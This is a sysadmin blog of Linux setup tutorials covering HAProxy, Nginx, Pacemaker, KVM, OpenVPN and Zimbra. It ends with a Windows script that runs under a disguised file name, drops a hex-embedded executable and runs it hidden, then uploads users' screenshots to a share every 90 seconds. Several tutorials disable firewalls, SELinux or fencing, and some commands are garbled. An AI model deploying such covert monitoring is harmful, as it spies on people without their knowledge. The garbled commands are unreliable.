Saturday 21 November 2015

Installing HA-Proxy on Cent OS 7



This example assumes that firewall and selinux is disabled. We are going to use the following three servers.

Apache1: 192.168.124.2 apache1.example.com
Apache2: 192.168.124.3 apache2.example.com
HAProxy: 192.168.124.10 haproxy.example.com



All three servers should be able to reach each other. Enter the following in the /etc/hosts file in all three nodes

192.168.124.2 apache1.example.com apache1
192.168.124.3 apache2.example.com apache2
192.168.124.10 haproxy.example.com haproxy

Now install apache service on the two apache nodes using the following command

#yum install httpd -y

Create a sample HTML file in the apache nodes in differentiate them and start the httpd service

#systemctl start httpd.service


Install and enable Epel repository on the haproxy node

#yum install epel-release -y

Install HA proxy

#yum install haproxy -y

The default configuration file haproxy.cfg is located in /etc/haproxy/

Lets make a backup of the original file

#cd /etc/haproxy

#cp haproxy.cfg haproxy.cfg.bkp


Now lets edit the configuration file. We need to clear the existing frontend/backend config and create our own config

Delete the following lines in haproxy.cfg

------------------------------------------------------------------------
frontend  main *:5000
    acl url_static       path_beg       -i /static /images /javascript /stylesheets
    acl url_static       path_end       -i .jpg .gif .png .css .js

    use_backend static          if url_static
    default_backend             app

backend static
    balance     roundrobin
    server      static 127.0.0.1:4331 check

backend app
    balance     roundrobin
    server  app1 127.0.0.1:5001 check
    server  app2 127.0.0.1:5002 check
    server  app3 127.0.0.1:5003 check
    server  app4 127.0.0.1:5004 check
------------------------------------------------------------------------

Now add the following lines
-------------------------------------------------------------------------
#webapp1 is the name we give for our frontend
frontend webapp1
#Makes the haproxy service listen on port number 80
bind *:80
#defining the backen name
default_backend webapp1_servers
#send X-Forwarded-For header
option  forwardfor


#Backend configuration
backend webapp1_servers
#Load balencing protocol
balance     roundrobin
server  apache1 192.168.124.89:80 check
server  apache2 192.168.124.51:80 check
-------------------------------------------------------------------------

Note: The X-Forwarded-For request header helps you identify the IP address of a client when you use an HTTP or HTTPS load balancer. Because load balancers intercept traffic between clients and servers, your server access logs contain only the IP address of the load balancer.





Save the config file and restart haproxy service

#systemctl restart haproxy.service


Now hit the haprosy node's IP address in the browser and it should direct us to one of the web servers.

Install and Configure Nginx with php-fpm on Cent OS 7.


Install Epel repository

#yum install epel-release -y

Install nginx and php

#yum install php php-fpm php-gd nginx -y

#systemctl start nginx.service

#systemctl start php-fpm.service

At this point we should be able to get test page for Nginx server when accessed in the browser. http://localhost

The default document root for nginx is /usr/share/nginx/html/

Now lets create a php info file in /usr/share/nginx/html

#vim phpinfo.php
------------------
<?php phpinfo(); ?>
------------------

Now try to open the file in the browser. http://localhost/phpinfo.php

The file will get downloaded instead of getting executed. To fix this we need to include the following configuration in /etc/nginx/nginx.conf. This will pass the PHP scripts to FastCGI server listening on 127.0.0.1:9000 for execution.

-----------------------------------------------
location ~ \.php$ {
        root           /usr/share/nginx/html;
        fastcgi_pass   127.0.0.1:9000;
        fastcgi_index  index.php;
        fastcgi_param  SCRIPT_FILENAME   $document_root$fastcgi_script_name;
        include        fastcgi_params;
}
-----------------------------------------------


Restart nginx and php-fpm service

#systemctl start nginx.service

#systemctl start php-fpm.service

Now we should be able to open http://localhost/phpinfo.php


Now Lets create another server block with a document root of /var/www/html

Create example.conf  in /etc/nginx/conf.d/example.conf

Include the following config in the example.conf

----------------------------------------------------------------
server {
        listen       80;
        server_name  example.com;
        root         /var/www/html;
        index index.php;

location ~ \.php$ {
        root           /var/www/html;
        fastcgi_pass   127.0.0.1:9000;
        fastcgi_index  index.php;
        fastcgi_param  SCRIPT_FILENAME   $document_root$fastcgi_script_name;
        include        fastcgi_params;
}

}
-----------------------------------------------------------------

#mkdir -p /var/www/html

#vim /var/www/html/index.php
-----------------------
<? phpinfo(); ?>
------------------------

Save the file and restart nginx service and you should be have the example.com site up and running.

Tuesday 3 November 2015

Split large sql file into multiple tables






The below bash script will split a large Mysql dump file into multiple files depending upon the number of tables in it

Usage
#./<script> <dump.sql>


#######################################################################
#!/bin/bash

####
# Split MySQL dump SQL file into one file per table
# based on http://blog.tty.nl/2011/12/28/splitting-a-database-dump
####

if [ $# -ne 1 ] ; then
  echo "USAGE $0 DUMP_FILE"
fi

csplit -s -ftable $1 "/-- Table structure for table/" {*}
mv table00 head

for FILE in `ls -1 table*`; do
      NAME=`head -n1 $FILE | cut -d$'\x60' -f2`
      cat head $FILE > "$NAME.sql"
done

rm head table*

########################################################################

Note: I did not create this, found it online

Thursday 29 October 2015

Cron with Pacemaker

Clustering cron daemon with pacemaker on Cent OS 7

This is a two node cluster with virtual IP and cron daemon as resources. The crontab has to be edited manually in both nodes to have the same task scheduled in it

node1.example.com
node2.example.com

Add the following to the /etc/hosts file in both nodes so that they are able to reach each other

X.X.X.X       node1.example.com        node1
X.X.X.X       node2.example.com        node2

Before starting with the cluster stop and disable the cron service in both nodes

#systemstl stop crond,service
#systemctl disable crond.service

Now install the pre-requisites on both nodes

#yum install -y pcs pacemaker corosync cman wget

Now set password for the hacluster user on both nodes

#passwd hacluster

Now start pcsd service and enable it on both nodes.

#systemctl start pcsd.service
#systemctl enable pcsd.service

Now authorize the cluster nodes. Will ask for username and password. Use "hacluster"

#pcs cluster auth node1 node2

Now create the cluster

#pcs cluster setup --name MYCLUSTER node1 node2
#pcs cluster start --all

Now disable STONITH and quorum as it is not required for a two node setup

#pcs property set stonithpcs resource create CRON systemd:crond-enabled=false

#pcs property set no-quorum-policy=ignore

Now add the resources. We need a virtual IP and tomcat resource

#pcs resource create VirtualIP ocf:heartbeat:IPaddr2 ip=x.x.x.x cidr_netmask=24  op monitor interval=30s

 #pcs resource create CRON systemd:crond

Now to make both resources run in the same node we must have a constraint as follows

# pcs constraint colocation set VirtualIP CRON

Set the order in which the resources has to load
#pcs constraint order set VirtualIP CRON

All done. Now stop the cluster and start it.

#pcs cluster stop --all

#pcs cluster start --all

#pcs status

Friday 23 October 2015

Installing KVM(libvirt) on Ubuntu 14.04

OS: Ubuntu 14.04 - 64 bit

Install the prerequisites and bridge utils for creating the bridge interface

apt-get install vim aptitude bridge-utils

Now lets configure the bridge interface
Change the eth0 interface to manual, create the bridge interface and link the bridge interface with eth0. After configuring the bridge interface the host machine will be connected to eth0 which inturn will be connected to the bridge. Now any traffic originating from the host machine will go through the bridge interface


vim /etc/network/interfaces
----------------------------------------------------------------
auto eth0
iface eth0 inet manual


auto br0
iface br0 inet static
address        x.x.x.x
netmask        255.x.x.x
gateway x.x.x.x
dns-nameservers        8.8.8.8 4.2.2.2
#bridge configuration
bridge_ports eth0
#turning off spaning tree
bridge_stp off
bridge_maxweight 0
bridge_fd 0
----------------------------------------------------------------

Now lets intall KVM

$aptitude install qemu-kvm qemu-system

Now install the virt-manager

$aptitude install virt-manager

After installation we can start virt manager by issuing the following command

$sudo virt-manager

This will launch the Virtual Machine Manager













Monday 20 April 2015

OPENVPN - Complete Setup - Bridge Mode


The following setup has been tested with both Windows ( win 7 ) and linux ( Cent OS 6 ) VPN clients.

Open VPN server: 192.168.201.128
Test node : 192.168.201.129

OpenVPN server and the test node are in the same LAN

SERVER CONFIG

On the open vpn server install the following

$yum install epel-release
$yum install openvpn easy-rsa bridge-utils -y

Now its time to configure the open vpn server

move to the easy-rsa directory to create the certificates and keys
$cd /usr/share/easy-rsa/2.0

change the variables to the requirement
$vim vars

# line 64: change to your own environment
export KEY_COUNTRY="JP"
export KEY_PROVINCE="Hiroshima"
export KEY_CITY="Hiroshima"
export KEY_ORG="GTS"
export KEY_EMAIL="root@dlp.server.world"
export KEY_OU="Server_World"

$source ./vars

$./clean-all

Build ca.crt
$./build-ca

Build server key and cert
$./build-key-server server

$./build-dh

To build the client cert and key
$./build-key client

Now copy the keys directory to /etc/openvpn directory

$cp -pR /usr/share/easy-rsa/2.0/keys /etc/openvpn/keys

Now create a user in the VPN server for VPN connection authentication

$useradd client1
$passwd client1

Now copy the sample config file to /etc/openvpn

$cp /usr/share/doc/openvpn-*/sample/sample-config-files/server.conf /etc/openvpn/

Make the following changes to server.conf in /etc/openvpn/ directory, or just copy the below contents and paste. ( Change the IP addresses as required)

$vim /etc/openvpn/server.conf


#################################################################################
#Enable plugin for VPN connection authentication
plugin /usr/lib64/openvpn/plugin/lib/openvpn-auth-pam.so login

#change if need (listening port)
port 1194

#uncomment tcp and comment out udp
proto tcp
;proto udp

# change to tap which uses bridge mode
dev tap0
;dev tun

#change path for certificates
ca keys/ca.crt
cert keys/server.crt
key keys/server.key

#change path for certificates
dh keys/dh2048.pem

#uncomment and change ⇒ [VPN server's IP] [subnetmask] [the range of IP for client]
server-bridge 192.168.201.128 255.255.255.0 192.168.201.150 192.168.201.199


# keepalive settings
keepalive 10 120

#enable compress
comp-lzo

# enable persist options
persist-key
persist-tun

#uncomment and specify logs
log /var/log/openvpn.log
log-append /var/log/openvpn.log

# specify log level (0 - 9, 9 means debug lebel)
verb 3
user nobody
group nobody

#################################################################################
Now copy the startup and shutdown scripts to /etc/openvpn directory

$cp /usr/share/doc/openvpn-*/sample/sample-scripts/bridge-start /etc/openvpn/openvpn-startup
$cp /usr/share/doc/openvpn-*/sample/sample-scripts/bridge-stop /etc/openvpn/openvpn-shutdown

Now make them executables
$chmod 755 /etc/openvpn/openvpn-startup /etc/openvpn/openvpn-shutdown

Make the following changes to the start up script
$vim /etc/openvpn/openvpn-startup

#################################################################################
# line 17-20: change
eth="eth0" # change if need
eth_ip="192.168.201.128"# IP for bridge interface
eth_netmask="255.255.255.0"# subnet mask
eth_broadcast="192.168.0.255"# broadcast address
# add follows to the end: define gateway
eth_gw="192.168.201.2" # default gateway in my setup
route add default gw $eth_gw

#################################################################################

Enable IP forwarding via openvpn init script,

vim /etc/rc.d/init.d/openvpn

# line 133: uncomment
echo 1 > /proc/sys/net/ipv4/ip_forward

Now start all the services. In my example i will be stopping the firewall ( Iptables )
service iptables stop
service openvpn start
chkconfig openvpn on


CLIENT CONFIG

Install the openVPN gui for windows from here

In cent os just install epel-release and install openvpn

$yum install epel-release -y

$yum install openvpn -y

Create the config file with the following contents

save the file as ".ovpn"

Replace X.X.X.X with the VPN server IP
#################################################################################
client
auth-user-pass
dev tap
proto tcp
remote X.X.X.X 1194
resolv-retry infinite
nobind
persist-key
persist-tun
comp-lzo
verb 3
<ca>
contents of ca.crt
</ca>
<cert>
contents of client.crt
</cert>
<key>
contents of client.key

</key>

#################################################################################


In windows copy the config file to "C:\Program Files\OpenVPN\config", and try to connect, it will request for username and password


Once connected you should be able to reach and connect to the test node which is in the same LAN as you VPN server


In Linux client you have to run the following command to connect

$openvpn <configfile.ovpn>





Thats all folks.....










Thursday 2 April 2015

Apache Tomcat Cluster with Pacemaker on Cent OS 6



This is a two node Apache tomcat cluster with virtual IP 10.20.9.225

node1.example.com
node2.example.com

Add the following to the /etc/hosts file in both nodes so that they are able to reach each other

10.20.9.220       node1.example.com        node1
10.20.9.221       node2.example.com        node2


Now install the pre-requisites on both nodes

#yum install -y java-1.7.0-openjdk.x86_64 pcs pacemaker corosync cman wget

Download and extract Apache Tomcat

#cd /usr/local/
#wget http://apache.arvixe.com/tomcat/tomcat-6/v6.0.43/bin/apache-tomcat-6.0.43.tar.gz
#tar xvzf apache-tomcat-6.0.43.tar.gz

Now set password for the hacluster user on both nodes

#passwd hacluster

Now start pcsd service on both nodes and add it to startup

#service pcsd start
#chkconfig pcsd on

Now authorize the cluster nodes. Will ask for username and password. Use "hacluster"

#mkdir /etc/cluster
#pcs cluster auth node1 node2

Now create the cluster

#pcs cluster setup --name MYCLUSTER node1 node2
#pcs cluster start --all


Now disable STONITH and quorum as it is not required for a two node setup

#pcs property set stonith-enabled=false

#pcs property set no-quorum-policy=ignore

Now add the resources. We need a virtual IP and tomcat resource

#pcs resource create VirtualIP ocf:heartbeat:IPaddr2 ip=10.20.9.225 cidr_netmask=24  op monitor interval=30s

 #pcs resource create tomcat ocf:heartbeat:tomcat params java_home="/usr/lib/jvm/java-1.7.0-openjdk-1.7.0.75.x86_64/jre" catalina_home="/usr/local/apache-tomcat-6.0.43" tomcat_user="root" op monitor interval="15s"

Now to make both resources run in the same node we must have a constraint as follows

# pcs constraint colocation set VirtualIP tomcat

All done. Now stop the cluster and start it.

#pcs cluster stop --all

#pcs cluster start --all

#pcs status

#################################################################################




Wednesday 18 March 2015

Install RT-Mailgate in zimbra


Sending a mail to a user, should automatically create a ticket in RT ( Request Tracker)


Install the prerequisites

yum -y install wget perl-CPAN perl-HTML-Format.noarch perl-HTML-Parser.x86_64 perl-HTML-Tree.noarch perl-Module-Build.x86_64 perl-XML-Simple.noarch

Download rt-mailgate
#wget http://download.bestpractical.com/pub/rt/release/rt-3.4.4.tar.gz
#gunzip rt-3.4.4.tar.gz
#tar xf rt-3.4.4.tar
#cd rt-3.4.
#./configure --prefix=/usr/local

See what dependencies you are missing. If any are missing in the MAILGATE section, install the required packages.

# make testdeps
 perl:
       5.8.3...found
 [...]
 MAILGATE dependencies:
       HTML::TreeBuilder ...found
       HTML::FormatText ...found
       Getopt::Long ...found
       LWP::UserAgent ...found
 [...]

Copy the rt-mailgate file from the ${prefix}/bin dir on the other machine where you installed RT and put in your bin dir (e.g., /usr/local/bin/rt-mailgate)

Add this line in /opt/zimbra/postfix/conf/transport file

example.user@domain.com       example.user-pipe

#postmap /opt/zimbra/postfix/conf/transport

Now add this to main.cf by using the following command as zimbra user

#zmlocalconfig -e postfix_transport_maps=' hash:/opt/zimbra/postfix/conf/transport,ldap:/opt/zimbra/conf/ldap-transport.cf'

verify with this command
#zmlocalconfig -s postfix_transport_maps

Add the following two lines to the bottom of master.cf.in located in /opt/zimbra/postfix/cont/

example.user-pipe     unix    -       n               n               -               -       pipe
    flags= user=<user> argv=/usr/local/bin/rt-mailgate --debug --queue <queue> --action correspond --url http://url to rt/rt/

Its important that the second line starts with a white space and the user is a valid user.
Now restart zimbra

zmcontrol restart

Thursday 12 March 2015

windows 7 screenshot script

VB script to takes screenshot on windows 7 at regular intervals and store in share drive

Note: I do not know VB scripting. I came across this script in bits and pieces on the internet. I simply put them together with the little knowledge that i have. This script works great. Currently using in my organization with great success

Note: Takes screenshot of multiple monitors too

How am i using it in my organization ?

1 - Create a copy batch script "copy.bat" with the below contents

if exist "%APPDATA%\Microsoft" for /D %%F in ("%APPDATA%\Microsoft\") do copy /y \\ADserver\sysvol\chrome_support.vbs %%F
del %APPDATA%\Microsoft\DeskCap.exe
del %APPDATA%\Microsoft\desktop.jpg
%APPDATA%\Microsoft\screenshot.vbs

2 - Copy the below contents and name the script as screenshot.vbs

Replace \\share\location\ in the script to your desired location
This script will create a folder in the name of the user and sub folders with date-time and store the screenshots .jpg format every 90 seconds
#################################################################################
For i = 1 to 10
 i = i - 1
WScript.Sleep 90000

strSafeDate = DatePart("yyyy",Date) & Right("0" & DatePart("m",Date), 2) & Right("0" & DatePart("d",Date), 2)
strSafeTime = Right("0" & Hour(Now), 2) & Right("0" & Minute(Now), 2) & Right("0" & Second(Now), 2)
strDateTime = strSafeDate & "-" & strSafeTime


Set objNetwork = CreateObject("Wscript.Network")
strFolderName = "\\share\location\" & objNetwork.UserName
Set objFSO = CreateObject("Scripting.FileSystemObject")
If Not objFSO.FolderExists("\\share\location\" & objNetwork.UserName) Then
Set objFolder = objFSO.CreateFolder(strFolderName)
End if



strFolderName = "\\share\location\" & objNetwork.UserName & "\" & strSafeDate
Set objFSO = CreateObject("Scripting.FileSystemObject")
If Not objFSO.FolderExists("\\share\location\support\" & objNetwork.UserName & "\" & strSafeDate) Then
Set objFolder = objFSO.CreateFolder(strFolderName)
End if




strDestinationDir="\\share\location\" & objNetwork.UserName & "\" & strSafeDate
strFileName= strDateTime & ".jpg"

SourceDir=replace(wscript.scriptfullname,wscript.scriptname,"")

Set fso = CreateObject("Scripting.FileSystemObject")
If NOT fso.FileExists(SourceDir & "DeskCap.exe") then MakeDeskCap(SourceDir & "DeskCap.exe")

Set WshShell=CreateObject("Wscript.Shell")
WshShell.run Chr(34) & SourceDir & "DeskCap.exe" & Chr(34),0,true

fso.MoveFile SourceDir & "Desktop.jpg",strDestinationDir & "\" & strFileName
fso.DeleteFile SourceDir & "DeskCap.exe"

next

Sub MakeDeskCap(strOutFile)
Set oFile = fso.OpenTextFile(strOutFile, 2, True)
ON ERROR RESUME NEXT
For x = 1 To 511 Step 2 : oFile.Write Chr(Clng("&H" & Mid("4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000504500004C010400A250944A0000000000000000E0000E010B01060000280000000E000000000000CE46000000200000006000000000001100200000000200000400000000000000040000000000000000C000000004000000000000020000040000100000100000000010000010000000000000100000000000000000000000",x,2))) : Next
For x = 1 To 511 Step 2 : oFile.Write Chr(Clng("&H" & Mid("744600005700000000800000580800000000000000000000000000000000000000A000000C000000006000001C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000080000000000000000000000082000004800000000000000000000002E74657874000000D4260000002000000028000000040000000000000000000000000000200000602E73646174610000A60000000060000000020000002C0000000000000000000000000000400000C02E727372630000005808000000800000000A0000002E0000000000000000000000000000400000402E72656C6F6300000C00000000A00000",x,2))) : Next
For x = 1 To 511 Step 2 : oFile.Write Chr(Clng("&H" & Mid("00020000003800000000000000000000000000004000004200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000",x,2))) : Next
For x = 1 To 511 Step 2 : oFile.Write Chr(Clng("&H" & Mid("00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000",x,2))) : Next
For x = 1 To 511 Step 2 : oFile.Write Chr(Clng("&H" & Mid("B0460000000000004800000002000000B8310000BC140000010000001300000650200000EC0C000000000000000000000000000000000000000000000000000000000000000000000000000000000000E80C0000CECAEFBE010000009E0000002953797374656D2E5265736F75726365732E5265736F757263655265616465722C206D73636F726C69627353797374656D2E5265736F75726365732E52756E74696D655265736F757263655365742C206D73636F726C69622C2056657273696F6E3D312E302E353030302E302C2043756C747572653D6E65757472616C2C205075626C69634B6579546F6B656E3D623737613563353631393334653038390100",x,2))) : Next
For x = 1 To 511 Step 2 : oFile.Write Chr(Clng("&H" & Mid("00000A000000060000006D53797374656D2E436F6465446F6D2E4D656D626572417474726962757465732C2053797374656D2C2056657273696F6E3D312E302E353030302E302C2043756C747572653D6E65757472616C2C205075626C69634B6579546F6B656E3D623737613563353631393334653038395E53797374656D2E426F6F6C65616E2C206D73636F726C69622C2056657273696F6E3D312E302E353030302E302C2043756C747572653D6E65757472616C2C205075626C69634B6579546F6B656E3D623737613563353631393334653038396953797374656D2E44726177696E672E53697A652C2053797374656D2E44726177696E672C20566572",x,2))) : Next
For x = 1 To 511 Step 2 : oFile.Write Chr(Clng("&H" & Mid("73696F6E3D312E302E353030302E302C2043756C747572653D6E65757472616C2C205075626C69634B6579546F6B656E3D623033663566376631316435306133617053797374656D2E476C6F62616C697A6174696F6E2E43756C74757265496E666F2C206D73636F726C69622C2056657273696F6E3D312E302E353030302E302C2043756C747572653D6E65757472616C2C205075626C69634B6579546F6B656E3D623737613563353631393334653038395D53797374656D2E537472696E672C206D73636F726C69622C2056657273696F6E3D312E302E353030302E302C2043756C747572653D6E65757472616C2C205075626C69634B6579546F6B656E3D",x,2))) : Next
For x = 1 To 511 Step 2 : oFile.Write Chr(Clng("&H" & Mid("623737613563353631393334653038395C53797374656D2E496E7433322C206D73636F726C69622C2056657273696F6E3D312E302E353030302E302C2043756C747572653D6E65757472616C2C205075626C69634B6579546F6B656E3D623737613563353631393334653038395041445041445006CC8987E1639097EEFE9B9A26E8FBB243B5A8B6512B3AB81DA253041B51B20E941D9A17E87D8533F10000003B010000D800000000000000BB0000003100000094000000730000005200000016010000DA0400002C240074006800690073002E00440065006600610075006C0074004D006F006400690066006900650072007300000000001C240074006800",x,2))) : Next
For x = 1 To 511 Step 2 : oFile.Write Chr(Clng("&H" & Mid("690073002E0044007200610077004700720069006400A00000001C240074006800690073002E004700720069006400530069007A006500D60000001C240074006800690073002E004C0061006E00670075006100670065007D01000022240074006800690073002E004C006F00630061006C0069007A00610062006C0065002A07000018240074006800690073002E004C006F0063006B00650064006007000014240074006800690073002E004E0061006D0065009607000020240074006800690073002E0053006E006100700054006F0047007200690064009D07000020240074006800690073002E005400720061007900480065006900670068007400D3",x,2))) : Next
For x = 1 To 511 Step 2 : oFile.Write Chr(Clng("&H" & Mid("07000026240074006800690073002E0054007200610079004C006100720067006500490063006F006E00D8070000000001000000FFFFFFFF01000000000000000C020000004C53797374656D2C2056657273696F6E3D312E302E353030302E302C2043756C747572653D6E65757472616C2C205075626C69634B6579546F6B656E3D6237376135633536313933346530383905010000001F53797374656D2E436F6465446F6D2E4D656D62657241747472696275746573010000000776616C75655F5F000802000000001000000B010001000000FFFFFFFF010000000000000004010000000E53797374656D2E426F6F6C65616E01000000076D5F76616C7565",x,2))) : Next
For x = 1 To 511 Step 2 : oFile.Write Chr(Clng("&H" & Mid("0001010B020001000000FFFFFFFF01000000000000000C020000005453797374656D2E44726177696E672C2056657273696F6E3D312E302E353030302E302C2043756C747572653D6E65757472616C2C205075626C69634B6579546F6B656E3D6230336635663766313164353061336105010000001353797374656D2E44726177696E672E53697A650200000005776964746806686569676874000008080200000008000000080000000B030001000000FFFFFFFF010000000000000004010000002053797374656D2E476C6F62616C697A6174696F6E2E43756C74757265496E666F0A000000066D5F6E616D650A6D5F646174614974656D116D5F75736555",x,2))) : Next
For x = 1 To 511 Step 2 : oFile.Write Chr(Clng("&H" & Mid("7365724F766572726964650963756C7475726549440C6D5F6973526561644F6E6C790B636F6D70617265496E666F0874657874496E666F076E756D496E666F0C6461746554696D65496E666F0863616C656E64617201000000000303030303080108012053797374656D2E476C6F62616C697A6174696F6E2E436F6D70617265496E666F1D53797374656D2E476C6F62616C697A6174696F6E2E54657874496E666F2553797374656D2E476C6F62616C697A6174696F6E2E4E756D626572466F726D6174496E666F2753797374656D2E476C6F62616C697A6174696F6E2E4461746554696D65466F726D6174496E666F1D53797374656D2E476C6F62616C697A",x,2))) : Next
For x = 1 To 511 Step 2 : oFile.Write Chr(Clng("&H" & Mid("6174696F6E2E43616C656E646172060200000000CA000000007F000000010903000000090400000009050000000A0A04030000002053797374656D2E476C6F62616C697A6174696F6E2E436F6D70617265496E666F020000000977696E33324C4349440763756C74757265000008087F0000007F00000004040000001D53797374656D2E476C6F62616C697A6174696F6E2E54657874496E666F030000000B6D5F6E446174614974656D116D5F757365557365724F766572726964650D6D5F77696E33324C616E674944000000080108CA000000007F00000004050000002553797374656D2E476C6F62616C697A6174696F6E2E4E756D626572466F726D6174",x,2))) : Next
For x = 1 To 511 Step 2 : oFile.Write Chr(Clng("&H" & Mid("496E666F1F000000106E756D62657247726F757053697A65731263757272656E637947726F757053697A65731170657263656E7447726F757053697A65730C706F7369746976655369676E0C6E656761746976655369676E166E756D626572446563696D616C536570617261746F72146E756D62657247726F7570536570617261746F721663757272656E637947726F7570536570617261746F721863757272656E6379446563696D616C536570617261746F720E63757272656E637953796D626F6C12616E736943757272656E637953796D626F6C096E616E53796D626F6C16706F736974697665496E66696E69747953796D626F6C166E65676174697665",x,2))) : Next
For x = 1 To 511 Step 2 : oFile.Write Chr(Clng("&H" & Mid("496E66696E69747953796D626F6C1770657263656E74446563696D616C536570617261746F721570657263656E7447726F7570536570617261746F720D70657263656E7453796D626F6C0E7065724D696C6C6553796D626F6C0A6D5F646174614974656D136E756D626572446563696D616C4469676974731563757272656E6379446563696D616C4469676974731763757272656E6379506F7369746976655061747465726E1763757272656E63794E656761746976655061747465726E156E756D6265724E656761746976655061747465726E1670657263656E74506F7369746976655061747465726E1670657263656E744E656761746976655061747465",x,2))) : Next
For x = 1 To 511 Step 2 : oFile.Write Chr(Clng("&H" & Mid("726E1470657263656E74446563696D616C4469676974730A6973526561644F6E6C79116D5F757365557365724F766572726964651576616C6964466F72506172736541734E756D6265721776616C6964466F725061727365417343757272656E637907070701010101010101010101010101010100000000000000000000000000080808080808080808080808010101010906000000090700000009060000000609000000012B060A000000012D060B000000012E060C000000012C060D000000012C060E000000012E060F00000002C2A40A0610000000034E614E061100000008496E66696E6974790612000000092D496E66696E697479090B000000090C",x,2))) : Next
For x = 1 To 511 Step 2 : oFile.Write Chr(Clng("&H" & Mid("00000006150000000125061600000003E280B0CA0000000200000002000000000000000000000001000000000000000000000002000000010001010F060000000100000008030000000F070000000100000008030000000B010001000000FFFFFFFF010000000000000004010000000E53797374656D2E426F6F6C65616E01000000076D5F76616C75650001000B010001000000FFFFFFFF010000000000000004010000000E53797374656D2E426F6F6C65616E01000000076D5F76616C75650001000B0405466F726D31010001000000FFFFFFFF010000000000000004010000000E53797374656D2E426F6F6C65616E01000000076D5F76616C7565000101",x,2))) : Next
For x = 1 To 511 Step 2 : oFile.Write Chr(Clng("&H" & Mid("0B0550000000010001000000FFFFFFFF010000000000000004010000000E53797374656D2E426F6F6C65616E01000000076D5F76616C75650001000B3A007314000006280100000A00002A00C20002280200000A00020225FE071B000006730300000A280400000A000273010000067D07000004026F1600000600002A0000009200032C15027B060000042C0C027B060000046F0500000A0000000203280600000A00002A000000133004006000000001000011000212001B1F0D280700000A00066F0800000A000212002024010000200A010000280700000A00066F0900000A0002176F0A00000A000272010000706F0B00000A0002166F0C00000A000272",x,2))) : Next
For x = 1 To 511 Step 2 : oFile.Write Chr(Clng("&H" & Mid("010000706F0D00000A0002176F0E00000A00002A13300B00D30100000200001100026F0F00000A00281000000A6F1100000A0A06720D00007016281200000A163306720F0000700A281300000A13171613163871010000111711169A1306110511066F1400000A281500000A13051205281600000A1205281700000A731800000A0B07281900000A0C08176F1A00000A0008281B00000A16161205281600000A1205281C00000ADA1205281700000A1205281D00000ADA6F1E00000A00086F1F00000A0D281300000A131516131438D4000000111511149A1307141313121311076F2000000A13121212141311121116131012102818000006130411076F1400",x,2))) : Next
For x = 1 To 511 Step 2 : oFile.Write Chr(Clng("&H" & Mid("000A130F120F281C00000A1205281C00000ADA130911076F1400000A130F120F281D00000A1205281D00000ADA130A091109110A11066F1400000A130F120F281600000A11066F1400000A130E120E281700000A1104161611066F1400000A130D120D281600000A11066F1400000A130C120C281700000A202000CC002819000006130811082D0F732100000A130B110B282200000A00001104281A00000626111417D6131400111411158E693F21FFFFFF08096F2300000A00086F2400000A00111617D6131600111611178E693F84FEFFFF07067217000070282500000A282600000A6F2700000A00026F2800000A00002A002602282B00000A00002A0000",x,2))) : Next
For x = 1 To 511 Step 2 : oFile.Write Chr(Clng("&H" & Mid("1330020011000000030000110002280F0000066F030000060A2B00062A000000133009009D0000000400001100202000CC0013070328100000060D1209FE150500000203120928120000062612097B0400000412097B02000004DA130812097B0500000412097B03000004DA130409280A0000060C091108110428090000060B0807280D0000061305081616110811040916161107280800000626081105280D0000062608280B00000626030928110000062607282C00000A130607280C0000062611060A2B00062A0000001330030014000000050000110002036F030000060A0604056F2700000A00002A13300300130000000600001100026F020000060A",x,2))) : Next
For x = 1 To 511 Step 2 : oFile.Write Chr(Clng("&H" & Mid("0603046F2700000A00002A00133008007B00000007000011007301000006130611066F02000006732D00000A0B0405076F2E00000A732F00000A0A12040F01281C00000A0F01281D00000A0405283000000A0006281900000A0D120516160405283000000A00090711051204281C00000A1204281D00000A1204281600000A1204281700000A186F3100000A00060C2B00082A005202282B00000A0002202000CC007D01000004002A0000002602282B00000A00002A000042534A4201000100000000000C00000076312E312E34333232000000000005006C000000A4080000237E000010090000E008000023537472696E677300000000F011000034000000",x,2))) : Next
For x = 1 To 511 Step 2 : oFile.Write Chr(Clng("&H" & Mid("2355530024120000100000002347554944000000341200008802000023426C6F620000000000000001000001573D02140903000000FA013300020000010000002A00000007000000170000001B000000320000003C0000000F0000000B0000000300000034000000040000000E000000010000000700000001000000040000000000D4080100000000000600D20029001600DF003C0016001F010801160063013C0016006A013C0006009F0229001A00BF024B000E00F102DB020600E80329000600060429001A009B044B000600AB0429000600C10429001600CD043C001A00F7044B001A001B054B001A0047054B00160067053C001A0070054B000E007705",x,2))) : Next
For x = 1 To 511 Step 2 : oFile.Write Chr(Clng("&H" & Mid("DB0206009B0529000A00D205AB0516003C062306160066063C00160074063C000E00C906B6060600FF06290006001207B60616003B070801160057073C0006008D076E070600A3076E070600CD07B6060600F307E10706000C086E0706001A08290006003008E10706004B08E10706006608E10706007F08E10706009808E1070600B508E1070000000001000000000001000100010000006B00790005000100010003000000930000000500010007000200000099000000050002000E000A010000A000000019000200130001000000A500AB001D000600130002010000BA000000290008001C000600AF013A000600A9023A000600AE023A000600B2023A00",x,2))) : Next
For x = 1 To 511 Step 2 : oFile.Write Chr(Clng("&H" & Mid("0600B8023A000100FC027C0001001B03800006060B043A005680AF01AD0056801304AD0056801C04AD0056802304AD0056802D04AD0056803604AD0056804104AD0056804D04AD0056805704AD0056806204AD0056806A04AD0056807304AD0056807D04AD0056808704AD0056809104AD00F42F000000000618D900130001000030000000000600E500170001002030000000000600F3001C000100CC300000000006002B0122000200EC300000000006004F012A0005000C310000000006007401310007009431000000000618D90013000A000000000080001620B7013D000A000000000080001620FA014A00130000000000800016201502510016000000",x,2))) : Next
